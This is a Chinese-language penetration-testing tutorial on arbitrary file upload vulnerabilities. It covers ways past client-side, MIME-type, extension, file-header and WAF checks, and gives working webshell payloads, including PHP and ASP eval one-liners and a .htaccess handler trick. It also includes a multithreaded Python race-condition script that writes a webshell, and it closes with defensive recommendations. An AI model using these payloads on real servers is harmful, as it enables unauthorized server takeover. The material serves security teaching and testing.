1.9 任意文件上传漏洞

描述

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。

危害

直接getshell

漏洞利用

校验方式总结

1、客户端javascript校验(一般只校验后缀名)

2、服务端校验

3、文件头content-type字段校验(image/gif)

4、文件内容头校验(GIF89a)

5、后缀名黑名单校验

6、后缀名白名单校验

7、自定义正则校验

8、WAF设备校验(根据不同的WAF产品而定)

PUT方法

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。当WebDAV开启PUT,MOVE,COPY,DELETE方法时,攻击者就可以向服务器上传危险脚本文件。

此时可以使用OPTIONS探测服务器支持的http方法,如果支持PUT,就进行上传脚本文件,在通过MOVE或COPY方法改名。当开启DELETE时还可以删除文件。

客户端校验

JavaScript校验

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }

绕过姿势 1.通过firefox的F12修改js代码绕过验证 2.使用burp抓包直接提交,绕过js验证 3.使用noscript

服务器端校验

文件头content-type字段校验(服务端MIME类型检测)

MIME类型格式: 类别/子类别;参数 Content-Type: [type]/[subtype]; parameter

MIME主类别: text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;

Application:用于传输应用程序数据或者二进制数据;

Message:用于包装一个E-mail消息;

Image:用于传输静态图片数据;

Audio:用于传输音频或者音声数据;

Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

测试代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

绕过姿势:

抓包修改Content-Type为可以使用的类型

服务端文件扩展名检测

也就是所谓的黑名单.

如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

绕过方法

配合Apache的.htaccess文件上传解析漏洞

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

首先我们编写一个.htaccess文件。打开记事本,编写代码

<FilesMatch "03.jpg"> SetHandler application/x-httpd-php </FilesMatch>

然后将其进行上传。因为.htaccess是apache服务器中的一个配置文件,不在上传的文件的黑名单之内,所以.htaccess文件是可以上传成功。

然后将一句话木马设置为03.jpg上传,因为已经设置了jpg可以当做php进行解析。

Apache站上的解析缺陷绕过上传漏洞

Apache的解析漏洞主要特性为Apache是从后面开始检查后缀,按最后一个合法后缀执行,整个漏洞的关键就是Apache的合法后缀到底是哪些,不是合法后缀的都可以被利用,所以将木马的后缀进行修改为允许上传的类型后,即可成功绕过验证,最终拿到权限。

如上传一个shell.php.456,将会从456开始解析,456解析不了,向前解析,一直到php

IIS6.0站上的目录路径检测解析绕过上传漏洞

当我们使用的服务器都是Windows2003,并且使用的服务为IIS6.0时,就可能存在如本节所描述的漏洞。

以asp为例,先准备好一句话木马文件,然后通过burpsuite进行抓包:

查看数据包:

其中Content-Disposition:form-data;name=”path”下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/改为uploadimg/1.asp/;,filename="yijuhua.asp"修改为filename="yijuhua.asp/1.jpg"

本例的知识点在于利用了IIS6.0目录路径检测解析,文件的名字为“yijuhua.asp/1.jpg”,也同样会被IIS当作ASP文件来解析并执行。

首先我们请求/yijuhua.asp/1.jpg,服务器会从头部查找查找"."号,获得.asp/1.jpg。然后查找"/",如果有则内存截断,所以/yijuhua.asp/1.jpg会当做/yijuhua.asp进行解析。

上传成功后,通过response我们可以查看到得到的文件名信息为“1.asp;14127900008.asp”,那么就可以在前面添加上uploadimg/,从而构造访问地址为:“http://www.test.com/uploadimg/1.asp;14127900008.asp”,并通过菜刀类的工具进行访问了。

php则类似

1.使用大小写绕过(针对对大小写不敏感的系统如windows),如:PhP

2.使用黑名单外的脚本类型,如:php5,asa 和 cer等(IIS默认支持解析.asp,.cdx, .asa,.cer等)

能被解析的文件扩展名列表:

php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/ 的后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

3.配合操作系统文件命令规则

(1)上传不符合windows文件命名规则的文件名

       test.asp.
     test.asp(空格)
     test.php:1.jpg
     test.php:: $DATA

会被windows系统自动去掉不符合规则符号后面的内容。

或者

首先名字为3.php:jpg,会写入一个3.php的空文件,然后修改名字为3.<<<

(2)linux下后缀名大小写

在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。

(3)借助系统特性突破扩展名验证,如:test.php_(在windows下,下划线是空格,保存文件时下划线被吃掉剩下test.php)

4.超长文件名截断上传(windows 258byte | linux 4096byte)

服务端检测文件内容

配合文件包含漏洞

前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。

绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)

(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;

(2)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>

此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

#PHP    
<?php Include("上传的txt文件路径");?> 
#ASP    
<!--#include file="上传的txt文件路径" -->
#JSP    
<jsp:inclde page="上传的txt文件路径"/>
or  
<%@include file="上传的txt文件路径"%>

服务端检测文件头

文件头简介 不同的图片文件都有不同文件头

PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61

PHP使用getimagesize函数验证图片文件头

绕过方式 绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了

在木马内容基础上再加了一些文件信息,有点像下面的结构

GIF89a
<?php phpinfo(); ?>

如果是Imagecreatefromgif或其他的渲染函数问题则将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

上传到服务端后验证

竞争上传

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

截断绕过

%00或者00(hex)

WAF绕过

1 垃圾数据

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。

2 filename

针对早期版本安全狗,可以多加一个filename

将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方

3 POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

4 利用waf本身缺陷

删除实体里面的Conten-Type字段

第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除Content-Disposition字段里的空格

加一个空格导致安全狗被绕过案列: Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099 尝试在boundary后面加个空格或者其他可被正常处理的字符: boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小写

Boundary边界不一致

每次文件上传时的Boundary边界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream

<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨

文件名处回车

多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过

文件重命名绕过

如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

防御

  • 使用白名单限制可以上传的文件扩展(白名单比黑名单可靠多了)

  • 验证文件内容,使用正则匹配恶意代码限制上传

  • 对上传后的文件统一随机命名,不允许用户控制扩展名

  • 修复服务器可能存在的解析漏洞

  • 严格限制可以修改服务器配置的文件上传如:.htaccess

  • 隐藏上传文件路径。

  • 升级Web Server

  • 及时修复Web上传代码(重要)

  • 不能有本地文件包含漏洞

  • 注意0x00截断攻击(PHP更新到最新版本)

  • 上传文件的存储目录禁用执行权限

Last updated